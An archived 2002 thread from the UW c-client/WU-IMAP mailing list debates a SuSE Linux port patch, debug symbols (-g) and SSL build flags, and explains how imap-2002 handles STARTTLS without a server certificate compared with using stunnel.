Regarding some cache memories in the CPUs. > In some cases keeping the binary small, might make it stay in the > cache memory longer without the need to be swapped to the main memory, > giving a burst during its execution. What modern operating system loads the segment -g symbols into a running process' address space? TOPS-20 did, but since that was a demand-paged system the memory pages with the symbols generally never got paged in from the binary unless you invoked the debugger. Since UNIX debuggers don't work the way that the TOPS-20 debugger did, I see no reason for a UNIX process ever to have symbols loaded. From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:07:16 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:07:15 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NM7E7i023722 for ; Wed, 23 Jan 2002 14:07:14 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 14:07:07 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NM76Ps028273; Wed, 23 Jan 2002 14:07:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NM6WKT021790; Wed, 23 Jan 2002 14:06:32 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NM58w6068702 for ; Wed, 23 Jan 2002 14:05:08 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Jan 23 14:05:06 2002 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NM4xAZ004069 for ; Wed, 23 Jan 2002 14:05:05 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g0NM4vZ12845; Wed, 23 Jan 2002 23:04:57 +0100 Message-Id: Date: Wed, 23 Jan 2002 23:04:57 +0100 (CET) Reply-To: C-Client/WU-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 10:41, Mark Crispin wrote: > On Wed, 23 Jan 2002 19:27:51 +0100, Sebastian Hagedorn wrote: > > > add 1) and 2) > > > SSLTYPE and CFLAGS are specific to SuSE and it's a special port of Linux > > Whatever is that supposed to mean? Why should the SuSE port be different > > from every other port in that respect? > > Thank you. I was about to answer the same thing. > > All UW IMAP documentation is based upon a standard distribution, and that > standard has proved to be a good thing. I understand why third party OS > vendors wish to modify the software (e.g. to comply with *their* standard!); > however, the burden of such modifications belongs with them. First I have to state that I'm in now way connected to this vendor. I just wanted to give users of this distribution the correct paramters which I would like to document in let's say README.SuSE. So everybody who uses the SuSE ports get's the default SuSE paramters rigth away and knows what other software he needs to have in place so the build will work. Your standard documentation can stay the same. So I don't see why this is such a problem for you. Otherwise the whole port thing is useless, just document all available parameters and your done. > > There is a reason why the flags are what they are... > > Yup. To clarify my position on -g: If someone wants to debug a software he recompiles it with -g to get debugging symbols, so I don't see your point either. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:11:21 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:11:21 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMBJ7i032358 for ; Wed, 23 Jan 2002 14:11:20 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 14:11:13 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMBDmT027973; Wed, 23 Jan 2002 14:11:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMAjKT018708; Wed, 23 Jan 2002 14:10:45 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMA5w6168352 for ; Wed, 23 Jan 2002 14:10:05 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 14:10:04 2002 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMA2Wn025659 for ; Wed, 23 Jan 2002 14:10:03 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id g0NK9wF09193; Wed, 23 Jan 2002 18:09:58 -0200 Message-Id: <200201232009.g0NK9wF09193@stratus.swi.com.br> Date: Wed, 23 Jan 2002 18:09:58 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste , Friedrich Lobenstock Subject: Re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: References: Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >On Wed, 23 Jan 2002 17:48:42 -0200, Raul Dias wrote: >> >Options such as SSL are options are on all platforms. Turning on SSL adds >> >external dependencies. I know for a fact that RedHat does not guarantee >> >that those dependencies will be met. I doubt that SuSE does either. I >> >don't know of a single UNIX-based operating system which does. >> I do it easily with rpm. BuildRequires, Requires and automatic requires take >> care of this nicely (I believe .debs do it too). > >Really? You can refuse to install an imapd built with SSL if proper >certificates are not installed first? I agree. I was more focused on library dependencies than this. This can be solved too by using pre/post install scripts as some distributions do for bind and apache. But it is the admin's job to know what he is installing and checing that. > >> If a software is know to work right, there is no point in keeping unecessary >> symbols in its binaries that usually slows down its performance. >> This is an important point on high load servers, for example. > >Do you have any measure on exactly how much -g "slows down its performance"? >I can understand that some stack optimizations can't be done, but how much >does that really affect the performance of imapd? > I don't know. >> It still is. Regarding some cache memories in the CPUs. >> In some cases keeping the binary small, might make it stay in the >> cache memory longer without the need to be swapped to the main memory, >> giving a burst during its execution. > >What modern operating system loads the segment -g symbols into a running >process' address space? > >TOPS-20 did, but since that was a demand-paged system the memory pages with >the symbols generally never got paged in from the binary unless you invoked >the debugger. > >Since UNIX debuggers don't work the way that the TOPS-20 debugger did, I see >no reason for a UNIX process ever to have symbols loaded. > I didn't know this. If it is not loaded, there isn't no point on not using -g. Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:14:36 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:14:35 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMEX7i008535 for ; Wed, 23 Jan 2002 14:14:34 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 14:14:30 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMEQmT028086; Wed, 23 Jan 2002 14:14:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMDhkG023376; Wed, 23 Jan 2002 14:13:43 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMD2w6133204 for ; Wed, 23 Jan 2002 14:13:02 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 14:12:57 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMCvAZ006921 for ; Wed, 23 Jan 2002 14:12:57 -0800 Message-Id: Date: Wed, 23 Jan 2002 14:11:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: C-Client/WU-IMAP Mailing Liste , Friedrich Lobenstock Subject: Re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: <200201232009.g0NK9wF09193@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 18:09:58 -0200, Raul Dias wrote: > But it is the admin's job to know what he is installing and checing that. Unfortunately, that has proven not to be a trustworthy assumption. Many admins are, uh, "clue-impaired" when it comes to matters like this. > >Since UNIX debuggers don't work the way that the TOPS-20 debugger did, I > >see no reason for a UNIX process ever to have symbols loaded. > I didn't know this. If it is not loaded, there isn't no point on not using > -g. That's my belief. From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:23:13 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:23:11 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMN47i002002 for ; Wed, 23 Jan 2002 14:23:05 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 14:22:57 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMMvPs028772; Wed, 23 Jan 2002 14:22:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMMMAf021276; Wed, 23 Jan 2002 14:22:22 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMKgw6053478 for ; Wed, 23 Jan 2002 14:20:42 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 14:20:42 2002 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMKgAZ009927 for ; Wed, 23 Jan 2002 14:20:42 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 14:20:41 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMKfmT028320 for ; Wed, 23 Jan 2002 14:20:41 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMKZMP016292; Wed, 23 Jan 2002 14:20:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMKXH7026735 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Jan 2002 14:20:35 -0800 Message-Id: Date: Wed, 23 Jan 2002 14:20:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: c-client Interest List Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002, Friedrich Lobenstock wrote: > First I have to state that I'm in now way connected to this vendor. I > just wanted to give users of this distribution the correct paramters > which I would like to document in let's say README.SuSE. The problem is that what is "correct" is not platform-specific. If something is mandatory in one platform and optional in another, then a manager dealing with multiple platforms has to keep track of which one he has to set SSLTYPE=unix and which one is automatic. > So I don't see why this is such a problem for you. Otherwise the whole > port thing is useless, just document all available parameters and your > done. What's useful is defining the directories. > If someone wants to debug a software he recompiles it with -g to get > debugging symbols, so I don't see your point either. That "someone" is *me*. I frequently get support requests which require me to check out the problem on the user's own system. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:28:55 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:28:54 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMSr7i025474 for ; Wed, 23 Jan 2002 14:28:54 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 14:28:48 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMSmmT028561; Wed, 23 Jan 2002 14:28:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMSMKT021216; Wed, 23 Jan 2002 14:28:22 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMRAw6169288 for ; Wed, 23 Jan 2002 14:27:10 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 14:27:09 2002 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMR937018177 for ; Wed, 23 Jan 2002 14:27:09 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 14:27:08 2002 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMR6Ps028929 for ; Wed, 23 Jan 2002 14:27:07 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g0NMR5G13182; Wed, 23 Jan 2002 23:27:05 +0100 Message-Id: Date: Wed, 23 Jan 2002 23:27:05 +0100 (CET) Reply-To: c-client Interest List Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: c-client Interest List Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 14:20, Mark Crispin wrote: > The problem is that what is "correct" is not platform-specific. If > something is mandatory in one platform and optional in another, then a > manager dealing with multiple platforms has to keep track of which one he > has to set SSLTYPE=unix and which one is automatic. This is the problem of not correct ports. Ports that don't use all defaults for a plattform are worthless in my opinion. > > So I don't see why this is such a problem for you. Otherwise the whole > > port thing is useless, just document all available parameters and your > > done. > > What's useful is defining the directories. The more complete a port is the more useful it is. > > If someone wants to debug a software he recompiles it with -g to get > > debugging symbols, so I don't see your point either. > > That "someone" is *me*. I frequently get support requests which require > me to check out the problem on the user's own system. Then please put this in a readme. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:41:21 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:41:20 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMfJ7i013228 for ; Wed, 23 Jan 2002 14:41:19 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 14:41:17 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMfGmT028981; Wed, 23 Jan 2002 14:41:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMecEr057406; Wed, 23 Jan 2002 14:40:38 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMc5w6104080 for ; Wed, 23 Jan 2002 14:38:08 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 14:38:04 2002 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NMc4pj008237 for ; Wed, 23 Jan 2002 14:38:04 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 23 14:38:03 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NMc2Ps029333 for ; Wed, 23 Jan 2002 14:38:02 -0800 Message-Id: Date: Wed, 23 Jan 2002 14:32:17 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: STARTTLS clarification MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To clarify, imap-2002 changes the behavior of STARTTLS when no server certificate is installed. Instead of saying "OK" and then dying on a STARTTLS command, imapd will now issue a "NO" with the error message "Server certificate not installed" and continue in non-TLS mode. imapd on the SSL port (port 993) will continue to die silently since that's the only thing that can happen in that case. Of course, an entry is made in the mail syslog if you know to look there. The idea is to give an error message indicating the problem (and pointing to what needs to be fixed) but still allow the user to connect and log in. If imapd silently disabled STARTTLS, there would be confusion as to whether or not the binary was built with SSL/TLS support. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 23 16:02:26 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 16:02:26 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0O02P7i017075 for ; Wed, 23 Jan 2002 16:02:25 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 16:02:19 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0O02JmT031612; Wed, 23 Jan 2002 16:02:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0O01aAf006006; Wed, 23 Jan 2002 16:01:36 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NN0Lw6088298 for ; Wed, 23 Jan 2002 15:00:21 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 15:00:20 2002 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NN0KWn009634 for ; Wed, 23 Jan 2002 15:00:20 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 15:00:19 2002 -0800 Received: from front2.chartermi.net (24.213.60.124.up.mi.chartermi.net [24.213.60.124]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NN0IPs030063; Wed, 23 Jan 2002 15:00:18 -0800 Received: from [24.247.49.140] (HELO there) by front2.chartermi.net (CommuniGate Pro SMTP 3.5b2) with SMTP id 52336497; Wed, 23 Jan 2002 18:00:13 -0500 Message-Id: Date: Wed, 23 Jan 2002 18:00:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: Mark Crispin Cc: c-client Interest List Subject: Re: STARTTLS clarification In-Reply-To: References: Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday 23 January 2002 05:32 pm, you wrote: > To clarify, imap-2002 changes the behavior of STARTTLS when no server > certificate is installed. > Not to belittle the continuing work in c-client, but do you see advantages/disadvantages to imap-2002 performing the SSL/TLS duties as opposed to wrapping the connection with something like stunnel? The reason I ask is that I have modified imap to support virtual domains. I'd really like to not have to revisit the modifications any time soon, mostly because I've probably forgot what I did and used the documentation to dispose of used chewing gum. -- Jeff Breitner Lead System Administrator (come to think of it, I'm the only system administrator) Developers Choice LLC 313-291-5980 x202 From pinedev@shivax2.cac.washington.edu Wed Jan 23 16:02:49 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 16:02:49 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0O02l7i015139 for ; Wed, 23 Jan 2002 16:02:48 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 16:02:41 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0O02fPs031988; Wed, 23 Jan 2002 16:02:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0O02BKT020306; Wed, 23 Jan 2002 16:02:11 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NNhiw6078034 for ; Wed, 23 Jan 2002 15:43:44 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 23 15:43:43 2002 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NNhgWn022283 for ; Wed, 23 Jan 2002 15:43:42 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 15:43:41 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NNhemT030965 for ; Wed, 23 Jan 2002 15:43:41 -0800 Message-Id: Date: Wed, 23 Jan 2002 15:28:58 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeff Breitner Cc: c-client Interest List Subject: Re: STARTTLS clarification In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 18:00:12 -0500, Jeff Breitner wrote: > Not to belittle the continuing work in c-client, but do you see > advantages/disadvantages to imap-2002 performing the SSL/TLS duties as > opposed to wrapping the connection with something like stunnel? The primary advantages of native support of SSL/TLS in imapd as opposed to something like stunnel are: 1) only one process doing the work, and no stunnel/imapd pipes 2) imapd knows the client and server IP addresses instead of localhost (or a pipe). This is important for some authentication mechanisms. 3) it's difficult to do STARTTLS with stunnel; either you have to have stunnel handle all non-encrypted connections or you have to have a way to splice in stunnel in a session that previously did not have it. 4) IMAP client code needs SSL support anyway, so it has many of the mechanisms already. 5) IMAP client/server code needs the mechanisms to do non-SSL (e.g. Kerberos) encryption (not there yet, but coming...) The primary advantages of stunnel are: 1) easier to avoid generating a new key for each session. 2) SSL code in only one daemon. In most situations, the former set of advantages outweigh the latter. > The reason I ask is that I have modified imap to support virtual domains. > I'd really like to not have to revisit the modifications any time soon, > mostly because I've probably forgot what I did and used the documentation to > dispose of used chewing gum. This is understandable. Why is your virtual domain support dependent upon where SSL is located? I would expect that most of the virtual domain support would be in a modified env_unix.c and possibly also tcp_unix.c. By the way, I need to warn everyone that tcp_unix.c is going to undergo changes for IPv6. I am going to try to keep the external interfaces the same, and as you may have noticed there are some new routines in imap-2002's tcp_unix.c to move TCP-specific code out of the rest of c-client. Basically, the advice is that, if you can, avoid modifying tcp_unix.c for the time being. From pinedev@shivax2.cac.washington.edu Thu Jan 24 06:56:27 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jan 2002 06:56:27 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OEuP7i008814 for ; Thu, 24 Jan 2002 06:56:26 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 24 06:56:13 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0OEuCPs016099; Thu, 24 Jan 2002 06:56:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OEtIKT013358; Thu, 24 Jan 2002 06:55:18 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OErfw6102584 for ; Thu, 24 Jan 2002 06:53:41 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 24 06:53:40 2002 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OErdWn001230 for ; Thu, 24 Jan 2002 06:53:39 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Jan 24 06:53:39 2002 -0800 Received: from zephyr.developerschoice.net (taylor.developerschoice.net [209.69.206.2]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0OErcPs016040; Thu, 24 Jan 2002 06:53:38 -0800 Received: from taylor ([10.128.1.1] helo=there ident=hidden-user) by zephyr.developerschoice.net with smtp 